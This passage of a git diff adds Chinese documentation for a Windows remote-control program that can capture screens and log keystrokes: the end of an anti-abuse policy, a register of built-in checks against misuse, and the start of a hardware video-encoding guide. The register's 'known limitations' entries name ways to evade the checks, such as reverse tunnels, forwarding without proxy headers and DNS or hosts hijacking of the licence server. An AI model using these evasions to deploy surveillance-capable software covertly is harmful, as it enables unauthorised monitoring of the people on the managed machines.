3. 向有管辖权的执法、监管或司法机关主动报告并提交相关证据;
4. 在公开仓库的发行说明、公告或官网中公示违规事实(在符合属地
隐私与名誉权法律的前提下)。
### 9.2 配合执法
发行方在收到任何有管辖权的执法机关、监管机关或司法机关合法发出
的协查函、调取通知、调查令时,将依法配合,包括但不限于:
- 提交授权签发记录;
- 提交授权服务器侧的心跳、IP 等技术日志(在发行方实际持有的范围内);
- 在依法保密义务允许的范围内,向相关执法机关说明本软件的设计意图
与反滥用机制。
被授权方对授权协议的接受,即视为对发行方上述配合执法行为的明示
同意,不构成对其商业秘密、个人信息或合同义务的违反。
---
## 10. 数据保护与隐私
### 10.1 发行方不接触使用方采集的数据
发行方设计本软件时遵循"控制平面(授权 / 心跳)与数据平面(远程
桌面 / 文件传输 / 屏幕采集)严格分离"原则。**发行方运营的授权
服务器不接收、不存储、不转发使用方通过本软件采集或传输的任何
被管设备数据。** 该等数据仅在使用方自身的部署架构中流转,由使用
方独立承担"数据控制者"或"数据处理者"在属地法律下的全部义务。
### 10.2 使用方作为独立数据控制者
使用方在使用本软件采集、存储、传输、处理被管设备相关方的任何
个人信息时,**单独构成属地数据保护法下的数据控制者**GDPR
意义上的 Controller或《个人信息保护法》意义上的"个人信息处理
者"),独立承担下列义务:
- 合法性基础的取得与记录;
- 告知与透明度义务;
- 数据主体权利响应(访问、更正、删除、可携带、反对自动决策等);
- 数据安全保障与泄露通知;
- 跨境传输的合规路径选择;
- 留存与删除政策;
- 必要时的数据保护影响评估DPIA
### 10.3 不就属地合规义务作具体指引
发行方因不掌握使用方的具体部署形态、被管设备类型、被管数据敏感
程度,故无法、亦不就使用方在任何具体司法辖区下的合规义务履行
作出具体指引。使用方应自行委托专业律师 / 数据保护官DPO评估
并完成属地合规。
---
## 11. 出口管制与制裁合规
### 11.1 双用途物项的属性提示
本软件具备远程访问、屏幕采集、键盘记录、文件传输等技术功能,
在部分司法辖区可能构成"双用途物项"dual-use item受出口
管制法律约束(如 Wassenaar Arrangement 框架下"intrusion software"
管制类目、欧盟 Regulation (EU) 2021/821、中国《两用物项出口管制
条例》等)。
### 11.2 使用方的自查义务
使用方在跨境传输、部署或使用本软件前,应自行评估其行为是否触发
属地的出口管制、制裁清单(含联合国制裁、美国 OFAC 制裁、欧盟
限制性措施清单、中国不可靠实体清单等)申报或许可义务,并独立
承担合规责任。发行方不就该等评估提供任何意见或保证。
### 11.3 制裁实体禁用
使用方不得将本软件出口、再出口、转让、提供给任何属地法律所列的
制裁对象(自然人 / 法人 / 国家 / 地区),亦不得用于该等制裁对象
所控制或所在的设施。
---
## 12. 知识产权与开源声明
### 12.1 著作权归属
本软件的源代码与文档之著作权归发行方所有,并按仓库根目录
`LICENSE` 文件所标识的开源许可证(如 MIT 许可证)对外许可。
该开源许可证授予的权利与本政策对滥用行为的禁止**并行不悖**
开源许可证授予的修改、再分发、商用等权利,不构成对违法 / 越权
使用之豁免。
### 12.2 衍生版本的合规义务传递
任何对本软件源代码进行修改后再行分发的人员("再分发者"),有
义务在其分发物中**完整保留**
- 本政策的全文(或对其的不可断链 URL 引用);
- 第 6 节所列反滥用技术措施的完整源代码与运行行为;
- 仓库根目录 `LICENSE` 文件。
任何在再分发物中**移除、削弱或禁用**前述任一项的行为,构成对发行方
著作权与本政策的双重违反,发行方保留追究责任的全部权利。
---
## 13. 适用法律与争议解决
### 13.1 适用法律
本政策的解释、效力及与本政策有关的争议,**适用发行方在仓库联系
方式中所披露之住所地的法律**。前述住所地以仓库元数据README.md、
作者声明等)所披露者为准;如发行方未明确披露住所地,则以发行方
最新一次公开发布行为发生时其 IP 地址或运营主体注册地所在司法辖区
为准。
### 13.2 争议解决方式
因本政策引起或与本政策有关的任何争议,双方应首先协商解决;协商
不成的,**任一方均有权将争议提交至发行方住所地有管辖权的法院诉讼
解决**。使用方在此明示放弃对前述法院管辖权的任何异议(含不方便
法院抗辩 forum non conveniens
### 13.3 集体诉讼放弃
在属地强制性法律允许的范围内,使用方明确放弃以集体诉讼、集团诉讼
class action或代表人诉讼形式针对发行方主张权利的资格。使用方
对发行方的主张应仅以个人名义提出。
---
## 14. 文档优先级与变更
### 14.1 文档优先级
本政策与本软件附带 / 关联的其他材料发生冲突时,按下列顺序确定
优先级(顺序在前者优先):
1. 发行方为正式授权另行签订的书面授权协议;
2. **本政策**
3. 仓库根目录 `LICENSE` 文件中与责任划分有关的条款;
4. `README.md` 及其他说明性文档。
但本政策第 1.3 条之"对发行方更有利、对使用方义务更严格"的冲突
解决规则,作为**最高优先级**适用。
### 14.2 文档变更
发行方有权随时更新本政策。更新后的版本自其在仓库公开发布之时起
对所有自该时点之后获取本软件的人员生效;对在更新前已获取本软件
但在更新后继续使用的人员,自其首次升级 / 重新拉取仓库代码或心跳
回连授权服务器之时起生效。
使用方有义务在每次升级或重新部署本软件前,检查仓库中本政策的
最新版本。继续使用即视为接受更新后的版本。
---
## 15. 文档可分割性
本政策任何一条因任何原因被有管辖权的法院或仲裁机构认定为无效、
不可执行或违反公共秩序的,**不影响本政策其他条款的效力**。被
认定无效的条款应在最大可能保留发行方原意的前提下,被替换为
最接近原意且属合法的条款。
---
## 16. 联系方式
如就本政策内容、授权申请、违规举报或合规疑问需要与发行方沟通,
请通过仓库 `README.md` 中所披露的联系渠道联系发行方。发行方
对所有联系信息按其惯例处理,**对联系行为本身不构成任何形式的
咨询关系或法律意见关系**。
---
## 附录 A使用方合规自检清单建议
使用方在每次新部署本软件前,建议自行核对下列事项。本清单仅供
参考,不替代专业法律意见:
- [ ] 我对所有被管设备享有合法的所有权或管理权
- [ ] 我已就本软件的安装、运行及数据采集取得每一名被管设备使用人的事先书面同意
- [ ] 我已书面记录并保存上述同意,并制定了 ≥ 3 年的保管期限
- [ ] 我的使用目的限定在本政策第 3.1 条所列许可场景之内
- [ ] 我不在工作场所对员工实施超出当地劳动法允许范围的监控
- [ ] 我不对未成年人实施未取得监护人完整同意的监控
- [ ] 我不在政府机关 / 关键信息基础设施部署本软件,或已取得相应许可
- [ ] 我已评估属地《数据保护法》/ GDPR / 个人信息保护法下的数据控制者义务,并已设计相应制度
- [ ] 如涉跨境数据传输,我已完成属地法律所要求的合规路径
- [ ] 我未对本软件源代码作任何削弱反滥用机制的修改
- [ ] 我已为本次部署留存完整的操作日志、配置记录与授权链证据
- [ ] 我理解并同意发行方在合理怀疑时的单方吊销权与配合执法权
---
## 附录 B发行方反滥用立场要点用于对外引用
如有第三方(含但不限于潜在客户、合规审查方、媒体、监管机关)就
发行方对滥用行为的立场提出询问,可援引下列要点:
1. **明确反对滥用**:发行方在 README、本政策、源代码注释中均明确
反对将本软件用于任何未授权访问、隐蔽监控、商业秘密窃取等违法
违规用途。
2. **内置技术措施**:发行方在源代码层面内置了至少四项独立的反滥用
技术机制IP 段校验、端口数限制、RTT 反代理、授权心跳),使
善意使用方难以无意中越权部署。
3. **分级授权**:发行方按"无口令 / 试用 / 正式"三档管理能力开放,
高风险的跨网能力仅向通过人工审核的正式授权方开放。
4. **不接触数据**:发行方运营的授权服务器仅承担授权与心跳,不接触、
不存储使用方通过本软件采集的任何被管设备数据。
5. **配合执法**:发行方在收到合法协查请求时依法配合,提交其实际
持有的授权与心跳记录。
6. **保留处置权**:发行方对存在违规迹象的授权方保留即时吊销权与
黑名单处置权,相应授权协议条款已对此作出明示约定。
---
**文档结束 / END OF DOCUMENT**

View File

@@ -0,0 +1,244 @@
# 反滥用技术措施清单(技术证据链)
> **文档版本**1.0
> **维护范围**:本仓库 `common/` `client/` `server/` 三个目录中所有与"反滥用 / 合规执法"
> 相关的代码模块。
> **文档定位**:本文档是 [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) 第 6 节
> "发行方内置的反滥用技术措施"的**工程实现附表**。政策口径以 `Compliance_AntiAbuse.md` 为准;
> 本文档仅就"具体代码在哪、为什么这样设计、目前的已知局限"做工程化登记。
> **受众**:本仓库的维护者、合规审查方、独立验证人员。
---
## 关于本文档
本仓库自起步即声明"试用版仅供 LAN 内自用,不得跨网",并明确反对任何未授权访问、
隐蔽监控、商业秘密窃取等违法用途(见 [`README_EN.md`](../README_EN.md) /
[`ReadMe.md`](../ReadMe.md) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md))。
此声明若仅停留在文字层面,其证明力有限。为此发行方在源代码层面陆续构筑多道
**可被独立验证**的技术屏障,并将其引入证据链以备:
1. 监管核查时举证"已尽合理技术措施";
2. 第三方合规审计时提供可直接 review 的代码位置;
3. 后续维护者修改这些文件时识别"哪些行为不能被弱化"。
本文档的每一项措施都给出:
- **源代码位置**(精确到文件 + 函数 / 类,不带行号 —— 行号随代码漂移);
- **机制摘要**(一段话讲清楚做什么);
- **设计动机**(为什么需要这一层、防的是哪类滥用形态);
- **已知局限**(不夸大宣传,明示哪些场景挡不住)。
---
## 1. 当前生效的技术措施
### 1.1 入站连接源 IP 段校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANChecker::CheckAndWarn()` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 的 trial 分支 |
| 阈值 | 任一入站连接对端 IP 落在公网段(非 RFC 1918 / RFC 3927 / 回环段)即触发 |
| 触发动作 | 终端用户可见 `MessageBox` 告警(一次性 latch |
| 设计动机 | 封堵"试用版被直接挂到公网"这一最常见、技术门槛最低的越权部署 |
| 已知局限 | 攻击者在 LAN 内放置反向代理 / 隧道时,对端 IP 仍呈私网段 → 漏检 → 由 [1.3 RTT 反代理](#13-应用层-rtt-反代理) 兜底 |
### 1.2 监听端口数量上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::CheckPortLimit(int maxPorts)` |
| 触发位置 | 同 1.1trial 分支调用 `CheckPortLimit(2)` |
| 阈值 | 试用:≤ 2 个监听端口;无口令:≤ 2 个 |
| 触发动作 | 终端用户可见告警 |
| 设计动机 | 防止单台试用部署被改造为多租户中转节点 / 公网代理出口 |
| 已知局限 | 仅扫描本进程 PID 的监听端口;攻击者另起辅助进程在同机做端口转发可绕过,但攻击成本已上升,且会被其他机制(如 1.3)侧面捕获 |
### 1.3 应用层 RTT 反代理
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CKernelManager::OnHeatbeatResponse`(自 commit `4279e79` 起从 `AuthKernelManager` 迁至此处,使采样源从"客户端到授权服务器"变为"客户端到主控服务器",更精确反映滥用链路) |
| 启停 | 由主控通过 `MasterSettings.IsTrail` 字段下发;试用主控 → 开,已授权主控 → 关 |
| 阈值参数 | 25 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次(最快触发 ≥ 150 秒) |
| 触发动作 | 终端用户可见告警(一次性 latch进程生命周期内不再重弹 |
| 设计动机 | 1.1 的物理盲区补丁:光速决定的真实 RTT 不可被代理转发降低,能识别"源 IP 看似私网、实际经公网中转"的反向隧道部署 |
| 已知局限 | 攻击者自有公网 IP 且与"客户"同城同 ISP 时,物理 RTT 可低于阈值 → 漏检。该残留盲区已在 [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` 的头部注释中明示,并标注"需叠加同源 IP 多 ClientID 行为信号做双因素判定" |
### 1.4 授权服务器周期心跳与超时熔断
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class AuthTimeoutChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager` 心跳循环;`ResetTimer()` 在每次 ACK 到达时被调 |
| 阈值 | DEBUG 30s 警告RELEASE 300s 警告;后续超时阈值由 `AuthTimeoutChecker::Check` 控制 |
| 触发动作 | 警告期:可见 `MessageBox`;终态:进程退出 |
| 设计动机 | 防止"仅在初次激活时联网、之后离线长期使用"以规避吊销;同时为发行方在授权服务器侧吊销违规授权提供下发通道 |
| 已知局限 | 攻击者搭建假冒授权服务器并做 DNS / hosts 劫持可绕过;但属本政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 明示禁止之"伪造授权服务器响应"行为,已转入法律风险 |
### 1.5 服务端硬性并发连接上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg` 构造、`OnInitDialog``OnPasswordCheck` 三处 |
| 机制 | `m_nMaxConnection = 2` 是初始默认;`IsPwdHashValid()``CheckValid(-1)` 失败时强制重置为 2 并 `UpdateMaxConnection(2)` |
| 设计动机 | 未授权主控的"硬天花板"。客户端校验代码可能被重打包绕过,但 TCP / UDP 服务器在并发数超限时直接拒绝新连接,是难以从客户端侧绕开的服务端策略 |
| 已知局限 | 未授权主控的运营者若直接修改服务端二进制以解除上限,已构成对政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 的根本违反 |
### 1.6 系统时钟篡改检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/DateVerify.h`](../common/DateVerify.h) `class DateVerify` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 中授权分支 |
| 机制 | 客户端通过多个公共 NTP 源(阿里云 / 腾讯 / 清华 TUNA / 港澳台 / 全球池等共 11 个,按地理优先级)核对系统时间;时间被回拨用以延长试用 → `TerminateProcess(0xDEAD0001)` |
| 设计动机 | 防止用户修改系统时间利用早期试用授权码或绕过时间相关的授权约束 |
| 已知局限 | 出网完全被阻断时无法核对 NTP该情形下与 1.4 共同作用——长时间无 NTP / 无授权心跳同时存在时进程会被自然终止 |
### 1.7 子连接身份校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::m_bAuthenticated`;触发于 `TOKEN_CONN_AUTH` 处理路径 |
| 机制 | 主连接走 `TOKEN_LOGIN`;屏幕 / 文件 / 键盘等子连接走 `TOKEN_CONN_AUTH`,连入后必须在握手阶段提交可校验凭证;当前阶段为"宽容验证"模式,仅打标记,为后续收紧策略保留入口 |
| 设计动机 | 防止攻击者绕过主连接直接连入子连接通道复用既有 ClientID 的会话 |
| 已知局限 | 当前为宽容模式(未通过仍接受),仅作为标记。收紧时机待定,将在新增 commit 中说明 |
### 1.8 主控授权状态下发
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/commands.h`](../common/commands.h) `struct MasterSettings``Authorized` / `IsTrail` 字段;服务端 [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnInitDialog` 中填充 |
| 机制 | 服务端在客户端注册后将自己的"授权 / 试用"状态写入 `MasterSettings` 下发;客户端在 [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CMD_MASTERSETTING` 分支接收,据此决定是否启用 [1.3 RTT 反代理](#13-应用层-rtt-反代理) |
| 设计动机 | 让试用 / 已授权两种主控的客户端行为差异化:试用主控的所有连入客户端自动启用反代理检测;正式授权主控的客户端则关闭,避免误伤合法的跨网远控场景 |
| 兼容性 | 字段位于 `MasterSettings.Reserved` 的前 2 字节,保持 `sizeof(MasterSettings) == 500` 不变;旧客户端连新服务端时按 `MasterSettingsOldSize` 截读,不影响协议兼容 |
### 1.9 服务端入站 IP 段即时检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `OnAccept` 末段;[`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::IsPrivateIPv4Str` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialWanIpAbuse`(由 `OnAccept` `PostMessage(WM_TRIAL_WAN_IP_ABUSE)` 触发) |
| 检测时机 | 每个新连接 `accept` 后立即检测,**比 RTT 路径快**(无需累计 30 秒的中位数样本) |
| 信号源 | Proxy Protocol v2 透出的真实客户端 IP若存在→ 否则回退到 `getpeername` 的 raw TCP 对端 IP |
| 阈值 | 任一入站 IP 不在 RFC 1918 / RFC 3927 / 回环段 → 即触发 |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含真实 IP + 解析来源);与 [1.10 服务端内核级 RTT 监测](#110-服务端内核级-rtt-监测sio_tcp_info) 共用 `IOCPServer::s_TrialAbuseWarned` 进程级 latch → 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在 `m_bTrialMode` 为真时执行(`StartServer``IsTrail(passcode)` 缓存);正式授权主控该分支彻底跳过 |
| 设计动机 | 补 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 —— 合作型代理FRP / HAProxy若发送 PP2 头,本检测就能拿到真实 IP 并直接命中。即时触发,无需等待 RTT 累积 |
| 与客户端 [1.1](#11-入站连接源-ip-段校验) 的关系 | 两层不重复:[1.1] 在 master 进程内**周期性**扫 `GetExtendedTcpTable`,看到的是内核态 raw IP不透 PP2本节在 `OnAccept` **即时**触发,能透 PP2 真实 IP。两层互补 |
| 已知局限 | 不发 PP2 头的代理socat、自制 TCP 转发、不配 PP2 的 FRP→ 看到的仍是代理的 LAN IP**本节漏检**,由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 端到端 RTT 兜底 |
| 性能 | 每新连接增加一次 `inet_pton` + 几个位运算(< 1µs。非试用模式下 `m_bTrialMode == false`,整段分支彻底跳过 |
### 1.10 服务端内核级 RTT 监测(`SIO_TCP_INFO`
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `RttPollThreadProc` + `QuerySocketTcpRttUs`[`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::SetRttUs/GetRttUs`[`common/LANChecker.h`](../common/LANChecker.h) `class TcpRttBreachDetector` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialRttAbuse`(由 RTT 轮询线程 `PostMessage(WM_TRIAL_RTT_ABUSE)` 触发) |
| 信号源 | Win10 1703+ / Server 2016+ 提供的 `WSAIoctl(SIO_TCP_INFO)`,返回 `TCP_INFO_v0.RttUs`(内核测得的纯网络 RTT微秒精度不含任何应用层处理 |
| 阈值参数 | 20 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次 @1Hz(最快触发 ≥ 30 秒,是 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 的 5 倍) |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含 ClientID + 真实 IP + median RTT全 server 进程一次性 latch`s_TrialRttWarned` CAS→ 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在主控自身为试用模式时(`StartServer``IsTrail(passcode)`)启动专用轮询线程;正式授权主控不启动,零运行时开销 |
| OS 不支持 | 首次 `WSAIoctl` 拿到 `WSAEOPNOTSUPP` 时打一行 `Mprintf` 日志后线程自杀;[1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 仍作为兜底 |
| 设计动机 | 服务端检测周期 30 svs 客户端 150 s更快识别直接挂公网的 abusive 部署;且代码运行于发行方 / 运营商可控的服务端二进制,比客户端校验更难绕过 |
| **已知局限(重要)** | `SIO_TCP_INFO` 测得的是**服务端 ↔ 直接 TCP 对端**的 RTT。任何在 TCP 层终结的代理FRP / ngrok / nginx / HAProxy / socat 等)会让服务端只看到"我 ↔ 代理"那段 LAN RTT**完全漏检 WAN 段**。本机制只能识别直挂公网 / NAT / VPN 等"不终结 TCP"的部署形态TCP 终结型代理由 [1.3](#13-应用层-rtt-反代理) 的端到端应用层 RTT 兜底(客户端心跳总耗时无法被任何中间层降低) |
| 范围 | 仅 `IOCPServer`TCPUDP / KCP 通道由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 继续兜底 |
---
## 2. 分档授权与对应限制
详见 [`Compliance_AntiAbuse.md` § 7](Compliance_AntiAbuse.md) 与 [`MultiLayerLicense.md`](MultiLayerLicense.md)。本表仅列对应的强制限制点:
| 授权档 | 强制限制 | 由哪一节技术措施实施 |
| --- | --- | --- |
| 无口令 | 监听端口 ≤ 2服务端并发 ≤ 2 | [1.2](#12-监听端口数量上限) + [1.5](#15-服务端硬性并发连接上限) |
| 试用口令 | 入站 IP 必须私网段;端口 ≤ 20客户端 RTT ≤ 25 ms服务端内核 RTT ≤ 20 ms周期回连授权服务器系统时钟可信 | [1.1](#11-入站连接源-ip-段校验) + [1.2](#12-监听端口数量上限) + [1.3](#13-应用层-rtt-反代理) + [1.4](#14-授权服务器周期心跳与超时熔断) + [1.6](#16-系统时钟篡改检测) + [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 正式授权 | 由签发协议另行约定,技术上解除 1.1 / 1.3 / 1.9 / 1.10 限制 | [1.8](#18-主控授权状态下发) 由服务端下发 `IsTrail=0` 触发客户端关闭;服务端 `IsTrail` 为假时 [1.9](#19-服务端入站-ip-段即时检测) / [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 均跳过 |
---
## 3. 演进时间线(合规相关提交)
按发布时间倒序排列。`SHA` 列为 `git log --oneline` 可直接核对的短哈希;任何
独立第三方均可在公开仓库通过 `git show <SHA>` 自行验证。
| 日期 | SHA | 主题 | 关联节 |
| --- | --- | --- | --- |
| 2026-05-16 | `7f95f00` | Compliance: Server-side anti-proxy — accept-time WAN-IP check + SIO_TCP_INFO kernel-RTT | [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 2026-05-15 | `4279e79` | Compliance fix: Move LAN RTT check to KernelManager heartbeat | [1.3](#13-应用层-rtt-反代理) / [1.8](#18-主控授权状态下发) |
| 2026-05-14 | `14387d6` | Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer | [1.3](#13-应用层-rtt-反代理) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) v1.0 发布 |
| —(既往) | — | `LANChecker` IP 段 / 端口数检测、`AuthTimeoutChecker` 授权心跳、`DateVerify` 时钟校验等机制 | [1.1](#11-入站连接源-ip-段校验) / [1.2](#12-监听端口数量上限) / [1.4](#14-授权服务器周期心跳与超时熔断) / [1.6](#16-系统时钟篡改检测) |
> 后续提交按 commit message 前缀 `Compliance:` 或 `Compliance fix:` 识别,加入本表。
---
## 4. 规划中的技术措施
> 以下条目为已确定方向但尚未合入主分支的工作项,列出便于审查方了解未来演进。
### 4.1 行为信号融合(占位)
`LANRttChecker` 源码注释中明示的"同源 IP 多 ClientID"行为信号待并入。
计划在授权服务器侧实现,与本仓库客户端 / 主控代码解耦。
针对 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 ——
合作型代理FRP / HAProxy发送 Proxy Protocol v2 头的情况已由 [1.9](#19-服务端入站-ip-段即时检测) 兜住;
不发 PP2 的代理socat、自制 TCP 转发)的残留盲区由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理)
端到端 RTT 兜底,本仓库内无进一步可加的服务端措施。后续考虑授权服务器侧"同源 IP 多 ClientID"
行为信号作为外部交叉验证。
---
## 5. 维护者注意事项
> **对未来修改本仓库的任何贡献者**:以下文件 / 模块的削弱、移除、绕过型修改
> 应被视为对发行方反滥用立场的直接违反PR 一律拒收。即使您是为了"优化体验"
> 或"修复误报",也请优先选择**调阈值 / 加白名单**而非**禁用机制**。
| 不可被静默削弱的内容 | 文件 |
| --- | --- |
| `LANChecker::CheckAndWarn` 中私网段判定逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `LANChecker::CheckPortLimit` 的端口数比对 | 同上 |
| `LANRttChecker::SetEnabled` 的启停语义 | 同上 |
| `LANRttChecker::RecordSample` 的滑窗 / 收敛 / 持续超阈逻辑 | 同上 |
| `AuthTimeoutChecker` 的超时熔断分支 | 同上 |
| `DateVerify::isTimeTampered` 的多 NTP 比对 | [`common/DateVerify.h`](../common/DateVerify.h) |
| 服务端 `m_nMaxConnection` 在未授权 / 失效校验时回落到 2 的分支 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| 服务端 `MasterSettings.Authorized` / `IsTrail` 字段的真实填充逻辑 | 同上 |
| 客户端 `OnHeatbeatResponse``LANRttChecker` 的调用、`AuthTimeoutChecker` 的复位 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) |
| `TcpRttBreachDetector` 滑窗 / 收敛 / 持续超阈逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `IOCPServer::OnAccept` 末段试用模式下的入站 IP 段判定PP2 真实 IP 优先) | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) |
| `IOCPServer::RttPollThreadProc` 试用模式判定、SIO_TCP_INFO 探测、per-context 检测器喂样 | 同上 |
| 主对话框 `OnTrialRttAbuse` / `OnTrialWanIpAbuse` 弹框 + 日志归档;`WM_TRIAL_RTT_ABUSE` / `WM_TRIAL_WAN_IP_ABUSE` 消息映射 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| `LANChecker::IsPrivateIPv4Str` 字符串版私网段判定(被 §1.9 直接依赖) | [`common/LANChecker.h`](../common/LANChecker.h) |
允许的修改方向:
- 调整阈值参数(需在 PR 中给出新的统计依据);
- 新增告警通道(如增加日志落盘 / 加 webhook 通知),但不得替换原有告警通道;
- 提高检测精度(如本文档 §4 所列规划项);
- 修复 OS 兼容性 bug但不得以"OS 不支持"为由整体跳过试用档的检测。
---
## 6. 与政策文档的对照表
便于审查方在本仓库技术实现 ↔ `Compliance_AntiAbuse.md` 政策条款之间双向追溯。
| 政策条款 | 本文档节 |
| --- | --- |
| § 6.1 入站连接源 IP 段校验 | [1.1](#11-入站连接源-ip-段校验) |
| § 6.2 监听端口数量上限 | [1.2](#12-监听端口数量上限) |
| § 6.3 应用层 RTT 反代理 | [1.3](#13-应用层-rtt-反代理) + [1.9](#19-服务端入站-ip-段即时检测)(服务端即时 IP 段判定)+ [1.10](#110-服务端内核级-rtt-监测sio_tcp_info)(服务端内核级 RTT 补强) |
| § 6.4 授权服务器周期心跳 | [1.4](#14-授权服务器周期心跳与超时熔断) |
| § 6.5 措施的可被感知性 | 见各节"触发动作"列 |
| § 6.6 措施的合理性声明 | 见各节"已知局限"列 |
| § 7 授权分级与对应限制 | [2](#2-分档授权与对应限制) |
---
文档结束 / END OF DOCUMENT

View File

@@ -0,0 +1,977 @@
# 视频编码硬件加速实现指导文档
本文档供 AI 编码助手参考,用于在现有 C++ 远程控制程序中实现 H.264 硬件编码 + AV1 编码路径。
---
## 1. 项目背景
### 1.1 当前状态
- C++ Windows 远程控制程序
- 已实现 H.264 编码,基于 x264 软编(`CX264Encoder`preset = `ultrafast + zerolatency`
- 视频管线桌面捕获RGB/BGRA→ 编码 → 网络传输 → 客户端解码显示
- 当前架构:每个主控端连接对应一个独立编码器实例
- **分发模式**:单 exeFFmpeg 静态链接
### 1.2 目标
分两阶段渐进推进,**始终保留 x264 软编作为兜底**
**阶段一H.264 硬编加速)**
- 新增 H.264 硬编NVENC / QSV / AMF按 GPU 能力探测优先走硬编
- x264 软编在无 GPU / 虚拟机 / 远程桌面会话等环境下兜底
- 浏览器解码零兼容性风险H.264 全平台原生支持)
**阶段二AV1 路径)**
- 新增 AV1 硬编(`av1_nvenc` / `av1_qsv` / `av1_amf`
- 客户端浏览器握手时声明 AV1 能力
- 双方都能用就走 AV1否则回落 H.264
**最终产物仍为单 exe**,体积增量可接受 610 MB。
### 1.3 关键决策记录
#### 1.3.1 为什么跳过 HEVC
经评估HEVC 在本项目目标场景下没有独占价值:
| 维度 | 现状 |
|---|---|
| **浏览器解码** | Firefox 完全不支持Chrome/Edge 需 Win11 + 商店付费的 HEVC Video Extensions |
| **专利授权** | 商用涉及 MPEG-LA / Access Advance / Velos Media 三个专利池 |
| **替代方案** | AV1 压缩效率更高、AOMedia 免专利、浏览器原生支持广 |
HEVC 编码端硬件普及度好(几乎所有 2015+ GPU这个优势被解码端短板完全抵消。
#### 1.3.2 为什么 H.264 硬编先于 AV1
- **AV1 硬编硬件门槛高**:仅 NVIDIA RTX 40+ / AMD RX 7000+ / Intel Arc 才有
- **"多机混杂"场景**下大部分编码端 GPU 没有 AV1 硬编
- **H.264 硬编**NVENC/QSV/AMF几乎所有现代 GPU 都有,覆盖面广
- **客户端浏览器解 H.264** 是零兼容性问题,跨浏览器/跨平台 100% 通用
H.264 硬编是先把"地板抬起来"AV1 是"在新硬件上的天花板"。
### 1.4 设计约束
- **平台**:仅 WindowsmacOS/Linux 未来另行设计)
- **GPU 不确定**NVIDIA / AMD / Intel / 无独显 / 虚拟机无 GPU 都需支持
- **延迟要求**:不敏感(不追求极致低延迟)
- **并发模型**:通常 1 对 1少数 1 对多(每个连接独立编码器)
- **客户端**浏览器WebCodecs 优先,`<video>` 次之),未来集成
- **工具链**Visual Studio 2019
- **属性**:个人项目,暂不商用,专利问题搁置但仍优先选免专利方案
---
## 2. 技术方案总览
### 2.1 编码器优先级链
```
新连接进入(带客户端能力)
├─ 客户端声明支持 AV1─── 否 ────┐
│ 是 │
│ ↓ │
├─ av1_nvenc/qsv/amf 能开?──┐ │
│ │ │ │
│ 成功 → 用 AV1 │ │
│ ↓ ↓
